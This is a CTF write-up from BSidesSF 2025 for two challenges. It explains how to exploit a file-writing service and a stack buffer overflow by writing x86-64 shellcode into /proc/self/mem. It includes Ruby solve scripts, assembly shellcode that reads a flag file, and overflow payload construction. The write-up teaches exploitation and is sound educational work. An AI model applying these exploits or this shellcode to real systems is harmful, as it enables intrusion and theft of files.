BSidesSF 2025: accan and drago-daction: pwn your own memory

If you read my bug-me write-up or my Linux process injection blog, you may be under the impression that I’ve been obsessed with the ability of Linux processes to write to their own memory.

These challenges are no exception!

You can download source and the challenge (including solutions) here (acaan) and here (drago-daction).

acaan

I actually wrote drago-daction first, but decided I wanted a more training-wheels-y version of it so I wrote acaan, which is much more direct.

For what it’s worth, acaan stands for “any card at any number”, which is a plot in magic (card tricks). Volunteer names any card, and any number (between 1 and 52), and lo and behold! The card is at that number. And the audience is amazed - once you explain that it’s a Big Deal.

When you connect to acaan, it prompts you for a file, and offset, and new data to write. Then it does what it says - it writes that data to that offset in that file:

$ nc acaan-d715d4a7.challenges.bsidessf.net 4113
Welcome to ACAAN (Any Computerfile At Any Number)!
Filename?
/etc/passwd
Offset into the file (either decimal, or 0xhex)?
10
Data to replace it with? (Binary is fine - end with "\n.\n" or by closing the socket)
hello
.
Replacing 5 bytes from file /etc/passwd at offset 10! Hope this is everything you were hoping for!
Couldn't open /etc/passwd!

I also provided the source so you can see there are no tricks - it’s exactly what it sounds like.

The challenge is solved by writing to read-only memory by editing /proc/self/mem, my technique du jour:

s = TCPSocket.new(HOST, PORT)
puts s.readpartial(1024)
s.puts('/proc/self/mem')
sleep(0.5)
puts s.readpartial(1024)
s.puts(TARGET_ADDRESS.to_i)
sleep(0.5)
puts s.readpartial(1024)
s.puts(File.read(File.join(__dir__, 'shellcode.bin')))
s.puts('.')
s.puts('.')
sleep(0.5)
check_flag(s.read(1024), terminate: true, partial: true)

The shellcode is pretty standard open / read / write, written by ai and then fixed to actually work:

bits 64
; Open the file
jmp filename
top:
  pop rdi
  xor rsi, rsi             ; Flags = 0 (O_RDONLY)
  xor rdx, rdx             ; Mode = 0
  mov rax, 2               ; Syscall for open
  syscall
  mov rdi, rax

  ; Read from the file
  sub rsp, 0x100           ; Allocate space on the stack for the buffer
  lea rsi, [rsp]           ; Load the buffer address into rsi
  mov rdx, 0x100           ; Read up to 256 bytes
  mov rax, 0               ; Syscall for read
  syscall

  ; Write to stdout
  mov rdi, 1               ; Set fd to stdout
  mov rdx, rax             ; Set the number of bytes to write
  mov rax, 1               ; Syscall for write
  syscall

  ; Exit
  xor rdi, rdi             ; Exit code 0
  mov rax, 60              ; Syscall for exit
  syscall
filename:
  call top
  db "/flag.txt", 0        ; Null-terminated filename

drago-daction

Yes, I know that draco-daction would have been a better name! I changed the name once and didn’t want to change it again. :)

Although this has a similar payoff to acaan, the path there is much different: this application is vulnerable to a stack buffer overflow which lets you change the filename and offset.

The premise of the challenge is redacting information. The first time it redacts a string, you can overwrite the stack data. The second time, it opens the wrong file and writes to the wrong offset. Once you’ve reached that point, you’re back to acaan, only much more annoying.

Solution

First, we create a file with two replaceable strings:

# Create the dragonfile
file = File.new('/tmp/dragonfile.txt', 'w')

# This requires two lines: one to overwrite the pointers, and one to write to
# memory
file.puts("dragon#{ 'B' * 100 }")
file.puts("dragon#{ 'B' * 100 }")
file.close

Then we create our payload, which replaces “dragon” with the payload, which includes an overflow:

SHELLCODE = File.read(shellcode_file.to_path).force_encoding('ASCII-8bit').ljust(PADDING, 'A')

# ...

payload = [
  "dragon\n",
  "#{ SHELLCODE }#{ TARGET_ADDRESS_STR }/proc/self/mem\0\n",
].join()

We replace some random code at the end of the binary with our shellcode:

# Find a good place to target - we're choosing this line:
# 401751:       e8 2a f9 ff ff          call   401080 <__stack_chk_fail@plt>
unless `objdump -D #{ EXE } | grep 'call.*__stack_chk_fail@plt' | tail -n1` =~ /^ *([0-9a-fA-F]*)/
  puts "Couldn't find __stack_chk_fail call!"
  exit 1
end
TARGET_ADDRESS = Regexp.last_match(1).to_i(16)
TARGET_ADDRESS_STR = [TARGET_ADDRESS - ADJUST].pack('V')

And that’s it!

Honestly, it was a bit of a pain to solve, hopefully folks enjoy it!